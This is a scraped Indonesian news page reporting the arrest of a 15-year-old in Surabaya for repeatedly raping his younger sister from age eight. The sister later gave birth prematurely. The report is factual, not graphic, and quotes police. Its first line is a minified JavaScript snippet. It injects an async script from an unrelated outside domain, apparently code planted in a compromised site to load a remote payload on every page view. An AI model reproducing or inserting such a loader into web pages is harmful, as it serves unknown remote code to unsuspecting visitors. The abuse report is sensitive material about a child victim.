(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Surabaya

Siswa SMP Perkosa Adik Sejak Usai 8 Tahun, Kini Lahirkan Bayi Prematur


KANALKALIMANTAN.COM, SURABAYA – Seorang anak remaja berinisial ND (15) terpaksa harus meringkuk di penjara akibat perbuatan mesumnya.

Siswa SMP di kawasan Surabaya itu ditangkap polisi karena telah memperkosa adik kandungnya sendiri hingga hamil dan akhirnya melahirkan anak secara prematur.

Dikutip Suara.com dari Beritajatim.com, Senin (27/7/2020), kasus ini terkuak setelah polisi mendapatkan laporan dari ibu kandung pelaku berinisial DSN (35).

Kecurigaaan ND lantaran akhir-akhir ini tak melihat ND dan adiknya bermain di luar rumah. Padahal sebelum ada kejadian perut membuncit yang dialami anak kandung yang kedua itu, mereka sering dan bahkan hampir setiap hari bermain dengan tetangga.

Baca juga :

Dari kecurigaan itu, DSN akhirnya mengetahui jika ND menyetubuhi adik kandungnya sendiri bahkan sekarang sudah melahirkan bayi secara prematur. Korban pertama kali dicabuli oleh kakak kandungnya sejak tahun 2018 lalu.

Ketika itu, ND pulang dalam keadaan pengaruh minuman beralkohol. Gadis malang tersebut dicabuli berkali-kali sampai Juli 2020. ND memanfaatkan kesempatan saat tidur bersama di rumahnya.

“Pelakunya adalah kakak kandungnya. Ternyata adik kecil sejak umur 8 tahun sudah dicabuli kakaknya sendiri dan bahkan hamil hingga melahirkan,” kata Kanit PPA Satreskrim Polrestabes Surabaya, IPTU Fauzy Pratama.

“Jadi pelaku ini ketika pulang dalam keadaan mabuk, hasratnya naik dan ingin bersetubuh dengan perempuan. Hingga akhirnya sang adik yang jadi pelampiasan,” kata dia.

Dalam kasus ini, polisi telah menyita sejumlah barang bukti di antaranya pakaian yang dikenakan korban saat diperkosa kakak kandungnya.

Baca juga :

Atas perbuatannya itu, ND kini harus meringkuk di penjara. Remaja tanggung itu dijerat Undang-Undang Perlindungan anak dan terancam pidana maksimal 15 tahun penjara.

“Kami juga masih memeriksa anak ini secara intensif, dan meminta keterangan dari sejumlah saksi. Untuk korban melahirkan secara prematur dan anaknya kini berumur 11 hari,” ujar Fauzy.

“Kami juga masih memeriksa anak ini secara intensif, dan meminta keterangan dari sejumlah saksi. Untuk korban melahirkan secara prematur dan anaknya kini berumur 11 hari,” ujar Fauzy. (suara)


Desy Arfianty

Recent Posts

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

2 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

4 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

5 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

7 jam ago

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

9 jam ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

10 jam ago

This website uses cookies.